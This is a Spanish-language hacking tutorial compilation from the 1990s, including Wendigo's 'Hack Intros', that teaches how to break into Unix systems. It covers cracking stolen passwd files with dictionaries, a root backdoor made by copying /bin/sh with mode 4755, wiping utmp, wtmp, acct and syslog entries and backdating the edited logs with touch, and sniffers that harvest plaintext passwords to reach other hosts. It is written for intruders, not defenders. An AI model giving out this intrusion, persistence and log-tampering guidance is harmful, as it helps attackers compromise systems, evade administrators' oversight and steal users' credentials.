Aqui se acaba esta magnifica introduccion al UNIX que yo tengo , si alguien tiene los temas que faltan por favor enviamelos por
e-mail , gracias.

Aqui os pongo un pequeño articulo sobre el fichero passwd de claves en unix

Bueno, con este articulo empiezo una serie de ellos que estaran dedicados a difundir mis conocimientos que son pocos) y a
intentar aprender mas de los que vosotros mandeis.

No sabia muy bien con que tema empezar y al final me he decidido por uno muy basico pero todavia desconocido
para algunos, el sistema operativo unix y el famoso fichero de claves passwd

Bueno como casi todos sabreis lo primero que debe hacer un hacker es empaparse de UNIX hasta las orejas.

Aunque es un sistema operativo bastante viejo (para los tiempos que corren donde microsoft saca un s.o. cada año)
y que no a cambiado demasiado en su estructura basica todavia se sigue usando en la mayoria de las grandes redes
o grandes ordenadores como los sun. Asi que para empezaros recomiendo un buen manual de unix donde aprendereis
muchas de las cosas que luego utilizareis en las sesiones de "visita" de ordenadores.

La seguridad en UNIX es bastante "buena" pero depende mucho del administrador de sistema, del tiempo que le
dedique a mejorar la seguridad y del cuidado que tenga con sus usuarios y con las claves.

Unix al conectarse te pedira un nombre con el que iniciar la sesion y una clave o password que no aparecera en pantalla
Si culquiera de las dos entradas es incorrecta el ordenador dira Login incorrect no especificando si el fallo esta en
la clave o en el login.

Esto nos lleva a la conclusion que el sistema de entrada es practicamente inacesible desde fuera y por la "puerta principal"
si no se conoce algo del ordenador que se trabaja.

Algunas pruebas pueden dar resultado.La entrada como Guest (invitado), anony-mous(anonimo) o palabras similares y sin
dar clave (pulsando enter) puede que deje utilizar el terminal en un modo muy basico , con permisos de solo lectura para
la mayoria.Esto ya es un buen paso ya que se puede acceder a el fichero passwd que contiene los usuarios y las claves
encriptadas.Este fichero se encuentra en el directorio /ect El archivo tiene la forma de muchas lineas del tipo:

Nancy:Xv8Q981g71okk:102:100:laura palmer:/home/nancy:bin/bash

Donde se ven varios campos cuya correpondencia es:

nombre o login:clave encriptada:Numero de usuario de sistema:
Numero de grupo:nombre completo:dir de inicio:interprete

La encriptacion de la password utiliza la misma palabra para cifarse ademas de una parte aleatoria deniminada "grano de sal"
y por lo tanto es indescifrable, que no quiere decir inaccesible.
Una vez nos hallamos hecho con este fichero podremos poner a trabajar el software de casa.Este suele consistir en un
programa que toma palabras de un diccionario las encripta con el mismo algoritmo que utiliza unix y las compara con

el fichero de claves. En caso de que alguna coincida se tieneacceso al sistema con la clave de ese usuario y con los
permisos que esa persona tenga.
Aunque parezca mentira hay gente que pone claves de acceso como password, el nombre del login, una palabra que le
hizo gracia de pequeña como supercali, o algo asi.
Los administradores de sistema siempre recomiendan claves del tipo McElPL7 una frase que se recuerde facil
(Me cago En la Puta Leche) y un numero u otro caracter para dificultar mas ,combinando mayusculas con minusculas.
Estas como vereis som mucho mas dificiles de desencriptar pero tampoco imposibles. Hay "generadores de diccionarios"
que crean palabras a partir de las combinaciones posibles de caracteres Como os imaginareis estos diccionarios
son mastodonticos (de cientos de megas) pero suelen dar un resultado excelente aunque el tiempo de examen tambien
se prolonga.
Otro modo de proteger este archivo es utilizando las "claves en sombra" (shadows) Si esta protegido el archivo de este
modo no leeremos el campo de la clave encriptada, pues este se encontrara en /ect/shadow y solo sera legible con los
derechos de administrador (root) por lo que tendremos que hacernos primero con esos derechos (ya veremos como en
articulos posteriores)
Para acceder a un ordenador hay dos metodos, el primero tener acceso fisico a uno de los terminales conectados con el
ordenador central lo que puede pasar en facultades y centros de estudiantes o utilizar la orden Telnet para acceso
remoto.La orden nos permite desde un sistema Unix controlar otros ordenadores conectados a la red desde casa como
si estubieramos en ellos.
Tambien existen aplicaciones de este "programa" para microsoft windows que operan de modo similar.
La orden tiene el formato:

Telnet direccion.del.ordenador.aacceder:puerto

Esta orden es una de las herramientas mas potentes que tiene un hacker de acceder a sistemas protegidos.
Los puertos de conexion dan mucho juego como ya veremos mas adelante.
En este punto aclaro que lo aqui descrito vale en genral para sistemas que esten bajo s.o. Linux el clonico gratuito de unix.

El conocimiento es la llave de dios
El conocimiento nos hara libres
y como pone en la pagina
de uno de los grupos de hackers españoles:
Aqui el conocimiento es gratuito.

Hacks intros

Aqui esta esta pequeña introduccion al mundo del hack, en ella se tratan algunos de los temas basicos de metodologia,
es decir el método a seguir al entrar a un ordenador.Yo las considero muy claras y entretenidas.

- Los documentos de IBERHACK ----------
---------- http://www.geocities.com/SiliconValley/Park/7574---
Fecha: 13 Sep 96
De: Wendigo
Para: Todos
Tema: Introduccion al hacking.

Aqui os dejo las famosas Hack Intros de Wendigo!!!

----------Cut Here----------

Bueno, pues eso, que como alguien me ha pedido que expliquemos un poco de qué va el hacking pues yo me lanzo. Voy a empezar a explicarlo a nivel MUY elemental y desde un punto de vista práctico, si alguien quiere más detalles teóricos que lo diga, el cliente siempre tiene la razón. :-))))))

Otra cosa, si alguien cree que este tipo de mensajes son un coñazo, que me lo diga sin rodeos. :-)

Muy bien, para empezar cuando se habla de hackear EN GENERAL se habla de hackear máquinas con sistema operativo Unix. Aparte del Unix también existen otros sistemas operativos para mainframes y miniordenadores como el VMS para ordenadores VAX (de la marca DEC --> Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores IBM, y otros sistemas operativos de menor profileración.

Incluso los sistemas Unix se pueden clasificar en varios tipos, como el BSD, el SYSTEM V y el POSIX, así como varios sistemas desarrollados por las diferentes compañías informáticas:

AIX --> Unix de IBM
SunOS --> Unix de Sun
Solaris --> Unix de Sun (más avanzado que el SunOS)
HP-UX --> Unix de Hewlett Packard
Ultrix --> Unix de DEC para plataformas VAX
OSF/1 --> Unix de DEC para plataformas ALPHA

ConvexOS --> Unix de Convex
Unicos --> Unix de Cray
Linux --> Sin comentarios. :-)

Esta subdivisión de los sistemas Unix tiene más importancia de la que parece a primera vista, porque un bug o fallo de seguridad que funcione en uno de los sistemas puede que no funcione en los demás, por lo que es importante saber en todo momento cual es el sistema en el que nos estamos moviendo.

De la misma forma, Internet no es la única red en la cual se puede hackear, también hay varias redes de X.25 que cuentan con gran número de ordenadores como Sprintnet (la antigua Telenet), Tymnet o la misma Iberpac.

Aquí cuando hablemos de hackear estaremos hablando de hackear sistemas Unix en Internet preferentemente, ya que Internet está basada en los protocolos TCP/IP los cuales están mejor estudiados en cuanto a seguridad y por tanto existen más fuentes de información de donde se pueden conocer sus fallos de seguridad de las que existen para las redes X.25.

A la hora de hackear un sistema se pueden distinguir varios pasos diferenciados.

1 - Introducirse en el sistema que tengamos como objetivo.

2 - Una vez conseguido el acceso, conseguir privilegios de root (administrador del sistema).

3 - Borrar nuestras huellas.

4 - Poner un sniffer (programa que monitoriza la red consiguiendo logins y passwords) para tener acceso a otros sistemas.

NOTA: Voy a hacer un pequeño resumen de cada paso, lo que voy a decir está basado en la generalidad pero no hay que tomarlo como dogma.

PASO UNO: Introducirse en el sistema.

Los fallos de seguridad que se aprovechan para conseguir introducirse en el sistema están basados casi siempre en los protocolos TCP/IP, en servicios de red como el NFS o NIS o en los comandos "r" de Unix.

TCP/IP --> TCP = Transport Control Protocol
IP = Internet Protocol

Los protocolos basados en TCP/IP que se suelen aprovechar son Telnet, FTP, TFTP, SMTP, HTTP, etc. Cada uno de ellos tiene sus propios agujeros de seguridad que se van parcheando con nuevas versiones de estos protocolos, pero siempre aparecen nuevos bugs.

Explicar cada uno de los protocolos TCP/IP puede llevarnos mucho tiempo, así que paso a otra cosa.

Servicios de red --> NFS = Network File System, es un servicio de red por el cual varias máquinas llamadas clientes comparten uno o varios directorios que se encuentran fisicamente en una máquina llamada servidor. Una máquina cliente, a pesar de no poseer fisicamente dichos directorios, puede montarlos de tal forma que puede acceder a ellos como si los poseyera. Otra cosa muy distinta es lo que se pueda hacer con los ficheros incluidos en dichos directorios (si se pueden borrar, modificar, alterar los permisos, etc), lo cual depende de la configuración del NFS.
En la mala configuración del NFS es donde estriban siempre sus fallos de seguridad.

NIS = Network Information Service, es un servicio por el cual varias máquinas comparten varios "mapas". Los mapas son ficheros como passwd, hosts, etc. Por ejemplo, un usuario puede entrar con la misma cuenta en todas las máquinas que compartan un mismo mapa de passwords. Los mapas son consultados por las máquinas clientes a las máquinas que contengan los mapas, que son los servidores.
Existe un programa llamado YPX que sirve para extraer estos mapas (incluído el fichero passwd, donde están incluídas todas las passwords de los usuarios) de un servidor de NIS aunque la máquina en la que estemos no sea una máquina cliente.

Comandos "r" --> Son comandos exclusivos del sistema operativo Unix. La "r" es de remote. En el sistema hay un fichero llamado host.equiv y cada usuario suele tener en su directorio home (el directorio reservado a cada usuario para su propio uso del sistema) un fichero llamado .rhosts. Dependiendo de la configuración de estos dos ficheros se podrá o no acceder a dicho ordenador desde otro sistema unix sin necesidad de password con los comandos rlogin o rsh.

Aparte de estas formas básicas, existen otras formas más avanzadas de acceder a un sistema como el IP Spoofing, fallos de seguridad en el Web y el Java, recompilando librerías del telnet, UUCP, etc.

Hay dos formas básicas de introducirse en el sistema:

1 - Entrar directamente sin necesidad de poseer una cuenta en el sistema objetivo.
Por ejemplo por comandos "r" o por algún bug (alterar el fichero passwd del ordenador objetivo por rsh, alterar el fichero .rhosts de algún

usuario por NFS, etc...desde luego hay formas más avanzadas de conseguir esto).

2 - Conseguir el fichero passwd del sistema objetivo y crackearlo.
El fichero passwd contiene los logins de los usuarios y su correspondiente password encriptadas (entre otras cosas). Para averiguar el password de cada usuario se utiliza un programa crackeador (existen varios, para unix el más famoso es el Crack, para MS-DOS están el JackCrack, Hades, Crack, etc) que encripta cada palabra de un diccionario y las compara con la cadena encriptada del fichero passwd, cuando las cadenas encriptadas coinciden entonces la palabra del diccionario que el programa ha encriptado en ese momento es el password buscado.

PASO DOS: Conseguir privilegios de root una vez conseguido el acceso.

En este caso, los fallos de seguridad que explotaremos serán los del propio sistema operativo Unix, a diferencia de cuando teníamos que introducirnos en el sistema, que explotábamos los agujeros de seguridad de los protocolos o servicios de red.

NOTA: De todas formas, hay que tener en cuenta que aunque explotemos los bugs de los protocolos TCP/IP, esto no significa que estos bugs nos vayan a funcionar con cualquier sistema operativo. Más bien al contrario, estos bugs funcionan casi exclusivamente en el sistema operativo Unix pero en otros sistemas operativos como VMS o VM no funcionarán. Estos sistemas operativos tendrán sus propios bugs respecto a los protocolos TCP/IP (de los cuales existe muy poca información por no decir ninguna).

Una vez introducidos en el sistema, habrá que conseguir dos cosas:

1 - Conseguir privilegios de root.

Esto se puede conseguir mediante varios bugs dependiendo del tipo de unix en el que nos estemos moviendo (aix, sun, solaris, hp-ux, etc...) y de cómo esté configurado dicho sistema.

Existen varias fuentes de información en Internet para conocer bugs, algunas de esas fuentes se limitan a indicar la existencia del bug señalando el tipo de unix en el que funciona y otras incluso publican en la red programas para explotarlos. Entre dichas fuentes de información (mailing lists la mayoría) están el CERT, BUGTRAQ, BoS, comp.security.unix, alt.2600 y un largo etc.

En general los bugs se pueden clasificar en varias categorías, pero eso en todo caso lo mencionaré más adelante, por ahora esto es un pequeño resumen.

2 - Mantener los privilegios de root.

Existen diversas formas de mantener los privilegios de root, es decir, asegurarnos de que la próxima vez que entremos al sistema con la cuenta de un usuario que posea privilegios normales, podamos conseguir privilegios de root de forma fácil y sin complicaciones.

Quizá la forma más utilizada de conseguir esto sea el sushi (set-uid-shell) o también llamado "huevo".
Consiste en que una vez alcanzados los privilegios de root, copiamos un shell (el fichero /bin/sh) a un directorio público (en el que un usuario normal pueda ejecutar los ficheros) y le cambiamos el nombre al que nosotros queramos. Nos aseguramos de que el shell copiado tenga como owner (propietario del fichero) al root y cambiamos los permisos del fichero con las cifras 4755. Por ahora no os preocupeis de lo que significan dichas cifras, pero la primera cifra, el 4, significa que CUALQUIER usuario que ejecute dicho fichero lo estará ejecutando con los privilegios del owner. Como en este caso el owner es el root y el fichero en cuestión es una shell, el sistema nos abrirá un shell con privilegios de root.

De esta forma, la próxima vez que accedamos al sistema con la cuenta de un usuario normal, sólo tendremos que cambiarnos al directorio donde hayamos copiado el shell, ejecutarlo y ya seremos root sin las complicaciones de tener que explotar un bug.

Los sushis también tienen sus inconvenientes, ya que pueden ser fácilmente localizados por los administradores (mediante el comando find, por ejemplo) revelando nuestra presencia en el sistema. Para evitar esto hay otras formas de mantener los privilegios en el sistema o de modificar ligeramente los sushis para que no puedan ser detectados tan fácilmente.

PASO TRES: Borrar nuestras huellas.

Este paso es importante, ya que de nada nos habrá servido habernos introducido en el sistema y haber conseguido el nivel de root si al día siguiente nos han cortado el acceso debido a que hemos dejado huellas por todas partes.

El sistema operativo Unix guarda varios registros (logs) de las conexiones de los usuarios al sistema. Existen varios ficheros y comandos que ayudan al administrador a conocer todos los detalles acerca de las conexiones de los usuarios. Aparte de estos ficheros y comandos, existen diversas facilidades y aplicaciones que realizan un registro continuado y exhaustivo acerca de las actividades del usuario dentro del sistema.

Ficheros: (Cuando pongo dos directorios significa que el fichero puede estar en cualquiera de esos dos directorios).

utmp --> Guarda un registro (log) de los usuarios que están utilizando el sistema mientras están conectados a él.

Directorios: /var/adm/utmp
/etc/utmp

wtmp --> Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.

Directorios: /var/adm/wtmp
/etc/wtmp

lastlog --> Guarda un log del momento exacto en que un usuario entró por última vez.

Directorio: /var/adm/lastlog

acct --> Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Directorio: /var/adm/acct

En algunos sistemas el fichero acct se puede llamar pacct

Comandos:

who --> Permite saber quién está conectado al sistema en el momento en que ejecutamos el comando.

finger --> Lo mismo que el comando who, con el añadido de que se puede aplicar a otras máquinas. Es decir, podemos saber qué usuarios están conectados a una determinada máquina en el momento en que ejecutamos el comando.

users --> Igual que el who

rusers --> Igual que finger, pero la máquina remota debe utilizar el sistema operativo Unix.

Los comandos who, finger, users y rusers toman la información que sacan en pantalla del fichero utmp.

last --> Permite saber cuando fué la última vez que se conectó un usuario.

El comando last toma la información que saca en pantalla del fichero wtmp.

ps --> Permite saber qué procesos están siendo ejecutados por el sistema y que usuarios los ejecutan.

El comando ps ofrece una información mucho más completa de quién está

utilizando el sistema puesto que un usuario que no aparezca en los ficheros utmp o wtmp puede tener procesos ejecutándose, por lo que el comando ps ofrecerá la información de quién está ejecutando dichos procesos. En contrapartida, la información que ofrece el comando ps es más complicada de interpretar que la información ofrecida por el resto de comandos.

accton --> Activa un proceso llamado accounting, que es el que proporciona información al fichero acct.

lastcomm --> Permite saber qué comandos han ejecutado los usuarios.

acctcom --> Igual que lastcomm pero exclusivamente para Unix del tipo SYSTEM V.

Los comandos lastcomm y acctcom toman la información que sacan por pantalla del fichero acct (pacct en algunos sistemas)

Por lo tanto, si queremos borrar nuestras huellas del sistema, bastará con borrar cualquier log relativo a nuestro usuario de los ficheros utmp, wtmp y acct. Esto se puede hacer de dos formas:

Ficheros utmp y wtmp:

1 - No borramos los ficheros pero los dejamos con cero bytes. Sólo se utiliza como último recurso por suscitar muchas sospechas por parte de los administradores. Hay hackers que opinan que esto es incluso peor que no borrar los logs.

2 - Los ficheros utmp y wtmp no son ficheros de texto, es decir, no se pueden editar con un editor de textos. Sin embargo, existen programas llamados zappers (debido a que el programa más famoso de este tipo se llama zap) que pueden borrar los datos relativos a un usuario en particular de estos ficheros dejando el resto de los datos relativo a los demás usuarios intacto.

Fichero acct:

Cuando el accounting está activado (es decir, cuando el sistema recoge información acerca de los comandos ejecutados en el fichero acct) es bastante complicado borrar nuestras huellas, de hecho no se pueden borrar del todo, aunque sí se pueden reducir a una mínima información de nuestra presencia en el sistema.

1 - LO PRIMERO que hacemos nada más entrar en el sistema es copiar el fichero acct a otro fichero y LO ULTIMO que hacemos antes de abandonar el sistema es copiar dicho fichero de nuevo al acct, de modo que los comandos que hemos ejecutado durante la sesión no aparecen en el fichero acct.

   Problema: Nuestra entrada en el sistema queda registrada, así como las

dos copias.

2 - Dejamos el fichero acct a cero bytes. Como antes, esto es bastante sospechoso para un administrador, además, algunos sistemas reaccionan mal y paran el proceso de accounting, para no levantar sospechas habría que reactivarlo con el comando accton.

Problema: Bastante sospechoso. El propio comando accton quedaría registrado como ejecutado por nuestro usuario.

3 - Hacerse un editor para el fichero acct que borrara los datos correspondientes a nuestro usuario y dejara intactos los datos relativos al resto de los usuarios. Existen unos pocos programas que hacen esto.

Problema: La ejecución del programa editor que borra nuestras huellas quedaría registrado como ejecutado por nuestro usuario.

Afortunadamente, no hay muchos sistemas que tengan activado el accounting debido a la cantidad de capacidad que es necesaria para guardar los comandos ejecutados por cada usuario.

Aparte de los ficheros utmp, wtmp, acct y lastlog, hay que tener en cuenta otras facilidades y aplicaciones que posee el sistema operativo Unix que permiten al administrador vigilar ciertos aspectos críticos relativos a la seguridad y al mantenimiento del sistema.

1 - Syslog

Syslog es una aplicación que viene con el sistema operativo Unix.
El sistema operativo Unix se puede configurar de tal forma que determinados programas, procesos o aplicaciones generen mensajes que son enviados a determinados ficheros donde quedan registrados dichos mensajes. Estos mensajes son generados cuando se dan unas determinadas condiciones, ya sean condiciones relativas a seguridad, mantenimiento o simplemente de tipo puramente informativo.

Para conseguir esto hay que configurar varias cosas.

A - Decidir qué programas, procesos y aplicaciones pueden generar mensajes. (Pongo los principales)

kern --> mensajes relativos al kernel
user --> mensajes relativos a procesos ejecutados por usuarios normales.
mail --> mensajes relativos al sistema de correo.
lpr --> mensajes relativos a impresoras.
auth --> mensajes relativos a programas y procesos de autentificación (aquellos en los que estén involucrados nombres de usuarios y passwords, por ejemplo login, su, getty, etc)

daemon --> mensajes relativos a otros demonios del sistema.

etc...

B - Decidir qué tipos de mensajes pueden generar cada uno de esos programas, procesos o aplicaciones.

emerg --> emergencias graves.
alert --> problemas que deben ser solucionados con urgencia.
crit --> errores críticos.
err --> errores ordinarios.
warning --> avisos.
notice --> cuando se da una condición que no constituye un error pero a la que se le debe dar una cierta atención.
info --> mensajes informativos.

etc...

C - Decidir a qué ficheros van a para dichos mensajes dependiendo del tipo al que pertenezca el mensaje correspondiente.

Syslog cumple su función mediante el syslogd (syslog daemon o en castellano el demonio syslog).

NOTA: un demonio (o daemon) es un proceso que no tiene propietario (es decir, no es ejecutado por ningún usuario en particular) y que se está ejecutando permanentemente.

El syslogd lee su configuración del fichero /etc/syslog.conf
Dicho fichero contiene la configuración relativa a qué eventos del sistema son registrados y en qué ficheros son registrados. Los ficheros a los cuales se mandan los registros (logs) pueden estar situados en la misma máquina en la que estamos trabajando o en otra máquina de la red.

Cómo borrar las huellas relativas al syslog:

Bien, nuestras andanzas por el sistema cuando hemos accedido a él y cuando nos hemos convertido en root, pueden generar diversos mensajes registrados por el syslogd y guardados en los ficheros indicados en el /etc/syslog.conf

A diferencia de los ficheros utmp, wtmp, acct y lastlog, los ficheros en los que se guardan los registros del syslog sí se pueden editar con un editor de textos.

Para poder borrar estas huellas necesitamos tener privilegios de root, naturalmente. Bastará con examinar el fichero /etc/syslog.conf para

saber los ficheros que guardan los registros del syslog. Después miraremos cada uno de esos ficheros comprobando que no hay ningún mensaje relativo a nuestra intrusión en el sistema (los mensajes del estilo "login: Root LOGIN REFUSED on ttya" a ciertas horas de la noche son bastante sospechosos :-)). En caso de que lo haya, lo borramos y CAMBIAMOS LA FECHA del fichero con el comando touch de forma que coincida la fecha del último mensaje (después de haber borrado nuestras huellas) con la fecha del fichero. Si no lo hacemos así, algún administrador demasiado suspicaz puede comprobar que las fechas no coinciden y deducir que alguien ha modificado el fichero (esta es una precaución extrema pero la recomiendo por experiencia). Si es necesario, y SOLO si es necesario, habría que cambiar la fecha de los directorios en los que estén incluídos los ficheros que guardan los logs.

Si en el fichero /etc/syslog.conf hay mensajes que se destinan a /dev/console eso significa que los mensajes (ya sean de error, alerta o emergencia) salen directamente en la pantalla del root (o sea, en la consola). En este caso no se puede hacer nada (que yo sepa), pero mensajes de este tipo suelen estar generados por alertas bastante graves como por ejemplo intentar acceder con la cuenta de root directamente o utilizar el comando su para intentar convertirse en root, etc. Es decir, cuanto más sigilosos seamos a la hora de hacernos root y menos ruido armemos más posibilidades tendremos de no aparecer en este tipo de logs.

2 - TCP-Wrapper

Se trata de una aplicación que proporciona una serie de mecanismos para el registro (logging) y filtro (filtering) de aquellos servicios invocados o llamados a través del inetd (internet daemon). Con esta herramienta el administrador posee un control absoluto de las conexiones hacia y desde su máquina.

Puede, entre otras muchas cosas, filtrar un servicio de internet como por ejemplo el telnet, ftp, etc de forma que nadie pueda conectarse al sistema desde otra máquina o puede especificar una lista de máquinas que sí pueden conectarse (y las demás no podrán). Además, el administrador es informado en todo momento y con todo lujo de detalles de las conexiones que se han hecho desde su máquina y hacia su máquina con cualquiera de los diferentes servicios de internet (telnet, ftp, finger, etc...)

Como en el syslog, para borrar nuestras huellas del tcp-wrapper, tendremos que buscar posibles huellas mirando el archivo de configuración (alojado NORMALMENTE en el directorio /etc), borrar dichas huellas y cambiar las fechas de los ficheros correspondientes.

Bien, hasta aquí un resumen sobre cómo borrar las huellas. Como vereis me he extendido un poco más porque me parece importante que la gente adquiera conciencia de que tan importante o más que controlar el sistema (convertirse

en root) es saber ocultarse en él (aunque es una opinión personal).

Puede parecer bastante pesado el borrar todas las posibles huellas que hayamos dejado, pero en ALGUNAS ocasiones, una vez que hayamos visto los ficheros de configuración es posible preparar un shell script (el equivalente a los ficheros batch en MS-DOS, aunque la programación en shell es infinitamente más potente :-)) que haga todo el trabajo por nosotros en cuestión de borrar las huellas. Dicho script lo podemos dejar bien camuflado en el sistema para que la próxima vez que entremos lo podamos ejecutar (utilizando como parámetros el usuario con el que hayamos entrado, el terminal por el que hayamos entrado, la hora a la que hayamos entrado, etc..) ahorrándonos todo el trabajo pesado.

Para terminar con lo de borrar las huellas, sólo advertir que aunque seamos perfectamente invisibles en el sistema, cualquier usuario que esté conectado al mismo tiempo que nosotros podría detectarnos viendo el terminal por el que hemos entrado (el fichero /dev/ correspondiente a nuestro terminal tendría como propietario (owner) al usuario con el que hemos entrado en el sistema, y la fecha del fichero /dev/ correspondiente al terminal también nos delataría). Para evitar esto tendríamos que cambiar de owner el fichero correspondiente al terminal (teniendo privilegios de root naturalmente) al owner que tengan los otros terminales a los cuales no hay nadie conectado (es decir, al owner de los terminales por defecto que NORMALMENTE es el root).

De todas formas, esto último, junto con lo de cambiar de fecha ciertos ficheros de logs, son medidas quizá extremas, pero vuelvo a insistir que son muy recomendables.

Por último, la cuestión de ocultar o camuflar procesos mientras los estamos ejecutando es otra cuestión que se tratará en otro mensaje si teneis la paciencia de seguir. :-)

Ya hemos visto de forma resumida y sin detallar algunas técnicas sobre cómo conseguir acceso, conseguir privilegios y borrar nuestras huellas. Vamos a ver el último paso, cómo conseguir acceso a otros ordenadores una vez controlado el host que hayamos hackeado (es decir, después de asegurarnos que hemos borrado absolutamente todas nuestras huellas y de implantar algún sushi u otro método análogo para conseguir privilegios de root).

Una vez controlado el host que teníamos como objetivo, podemos hacer todo lo que queramos en el sistema, aunque hay que tener en cuenta que nuestras acciones pueden ser registradas por el syslog, tcp-wrapper u otra utilidad que genere logs, por lo que cuando vayamos a irnos del sistema siempre tendremos que comprobar antes que no hemos dejado registros (logs).

Es en este punto donde adquiere importancia la "filosofía" del hacker. La diferencia entre un hacker y un cracker (no me estoy refiriendo a alguien que rompe las protecciones de software), consiste en que un cracker accede al

sistema para dañarlo o corromperlo y un hacker accede al sistema simplemente para conseguir información o por pura curiosidad, pero nunca corromperá ni borrará ningún fichero del sistema, sigue el lema (aunque tampoco de forma radical, es decir, sin tomárselo al pie de la letra) de "se ve pero no se toca". A esto último hay que hacer una excepción , naturalmente. Los únicos ficheros que el hacker modificará o borrará serán los ficheros relativos a los logs que haya podido dejar en el sistema. Por supuesto que esto es una situación ideal y no realista, en la práctica un hacker puede que realize otras acciones en el sistema que puedan modificar ficheros ya existentes, pero siempre procurará que los cambios sean mínimos.

PASO CUATRO:

Bien, para conseguir acceso a otros sistemas desde el host que hemos hackeado existen varias técnicas. La más sencilla y la primera que se suele probar es consultando los ficheros .rhosts de los usuarios e intentando acceder a los sistemas incluídos en dichos ficheros mediante rlogin o rsh. También se puede intentar acceder a otros sistemas de la red con los comandos "r" aunque no estén incluídos en los ficheros .rhosts o en el fichero host.equiv.

Hay varias formas más o menos sofisticadas que nos permitan conseguir información desde el sistema en el que nos encontramos y que nos permita acceder a otros sistemas de la red. Quizá el método más famoso y más eficiente sea la colocación de un sniffer.
Un sniffer es un programa que "monitoriza" la red consultando los diferentes paquetes de información que circulan por ella. Cuando alguno de esos paquetes cumple ciertos requisitos (por ejemplo que sea un paquete correspondiente a un proceso de login), guarda dicho paquete en un fichero (es decir, guarda un log). Cada cierto tiempo el hacker puede consultar dicho fichero que le proporciona información sobre qué usuario se conectó a una determinada máquina, a qué máquina se conectó y que password utilizó, además de otros datos.

Cómo funciona un sniffer:

La red Internet es un conjunto de subredes comunicadas entre sí mediante máquinas llamadas gateways, bridges o routers. Cada subred, a su vez, puede estar dividida en varias subredes y sucesivamente. Lo más usual es que las máquinas estén organizadas en una red de tipo ethernet, y que dicha red esté conectada a Internet (o a una subred de Internet) mediante sus corrrespondientes routers o gateways (no tiene porqué ser sólo un router o gateway, una misma red puede tener varios para comunicarse con el exterior), que serán las máquinas que mantengan a dicha red ethernet en contacto con el resto de la red.

Las redes ethernet trabajan mandando los paquetes de información por un mismo canal compartido por todas las máquinas. En la cabecera de cada paquete de información está incluída la dirección de la máquina a la cual va destinado el paquete de información. Se supone que el paquete de información

sólo lo recibe la máquina a la cual va destinado. Las máquinas que reciben cualquier paquete de información aunque no estén destinados a ella, se dice que están en modo promiscuo.

De esta forma, un hacker puede poner en modo promiscuo la máquina (si es que no lo está ya en el momento de hackearla) y capturar TODOS los paquetes que circulan por la red, aunque no provengan de su máquina y aunque no estén destinados a su máquina. Normalmente se suelen capturar paquetes que cumplan algún requisito como aquellos que incluyan el momento de acceso de un usuario a una máquina. Teniendo en cuenta que el login y el password del usuario se mandan en modo texto, el hacker puede leer con toda comodidad en el fichero registro que genera el sniffer qué password utiliza el usuario y en qué máquina lo utiliza.

También se puede sniffar información aunque el sistema no esté en modo promiscuo, pero entonces la máquina sólo aceptará información que esté destinada a ella, y los únicos paquetes de información que monitorizará el sistema serán los paquetes destinados a él, y los paquetes que provengan del propio sistema.

Existen varios programas sniffers por la red, incluso algunos comerciales. Los más conocidos y distribuidos en circulos underground son sniffers para SunOS, Solaris y Linux. Por otra parte, programas bien conocidos como Etherfind o Tcpdump se pueden utilizar estupendamente como sniffers, aunque no hayan sido concebidos para esos fines.

Para comprobar si un sistema está en modo promiscuo se utiliza el comando ifconfig -a, aunque en algunos sistemas como el OSF/1 o el IRIX (el Unix de Silicon Graphics) hay que especificar el interface (dispositivo mediante el cual el sistema intercambia información con la red ethernet). Para ver los interfaces se puede utilizar el comando netstat -r.

Para terminar, sólo advertir que los logs, es decir, los ficheros que utiliza el sniffer para guardar la información, suelen crecer muy deprisa por lo que si no se tiene cuidado pueden hacerse excesivamente granden y alertar al administrador del sistema que al examinar los ficheros se dará cuenta de que existe un hacker en su sistema. Por eso es recomendable consultar los logs cada POCO tiempo y dejar los ficheros a cero.

Bien, ante todo quiero advertir que el tema que voy a tratar a continuación está tratado desde un punto de vista personal. En hacking, como en casi cualquier actividad, cada maestrillo tiene su librillo. Sólo pretendo dar unos consejos prácticos y desde luego NO recomiendo que se sigan al pie de la letra. Cada uno puede tener en cuenta estos consejos como base pero lo mejor es que cada uno desarrolle su propio método y su propia forma de hacer las cosas.

Puede que muchos hackers (la gran mayoría mucho mejores que yo) que lean esto no estén de acuerdo con estos consejos o incluso los consideren nocivos para

la práctica del hacking. Sólo puedo repetir que se trata de MI punto de vista y de MI opinión, y repetir que nadie se tome estas técnicas como dogma, sino que cada uno las ponga en práctica y después juzgue por sí mismo si vale la pena utilizarlas o no.

RECOPILACION DE INFORMACION:

Bien, antes de intentar lanzarnos a hackear algún ordenador de la red conviene hacer algunos preparativos. Estos preparativos a los que me refiero constan simplemente de una pequeña recopilación de información, tanto información general como información del ordenador que nos hayamos marcado como objetivo.

1 - Información general:

Cuando menciono información general me estoy refiriendo a la recopilación de bugs y programas que nos ayuden a hackear.

Los bugs o fallos de seguridad y los programas que nos ayudan a explotarlos (aprovechar dichos fallos de seguridad) pueden conseguirse de varias formas:

I - Mailing-lists de Internet:

BoS --> Best of Security
Bugtraq
Comp.Security.Unix
Alt.2600
Linux.Security.Alert

etc.....

II - FTPs o WEBs "oficiales":

El más famoso es ftp.cert.org, pero existen una infinidad de ellos, basta con buscar mediante cualquier Search Engine del WWW cualquier materia relacionada con la seguridad.

En los mensajes del CERT o de las distintas listas de correo los bugs no se describen de manera directa. Es decir, no os dirán los pasos que teneis que dar para aprovechar los fallos de seguridad, sino que lo único que mencionarán será el sistema operativo al cual afecta el bug (SunOS, AIX, Solaris, HP-UX, Ultrix, OSF/1, Irix, etc...), cual es el resultado de aprovechar el bug (convertirse en root, poner los permisos que queramos a un determinado fichero, estrellar el ordenador....) y los parches que hay que aplicar al sistema para que dicho bug no pueda ser aprovechado en el futuro.

Existen unas cuantas excepciones, los llamados EXPLOITS. Son mensajes "oficiales" que muestran los pasos que hay que dar para aprovechar un determinado fallo de seguridad, e incluyen los programas necesarios para hacerlo.

III - FTPs, FSPs o WEBs "no oficiales":

Hay varios repartidos por Internet. Descubrirlos forma parte de las labores del hacker. En los que son demasiado conocidos habrá cosas muy antiguas o que ya no funcionan.

Es en estos sites (se llama site o host a un ordenador cualquiera de Internet) donde se consiguen las mejores utilidades y programas que nos permitan explotar varios bugs así como varias técnicas básicas de hacking.

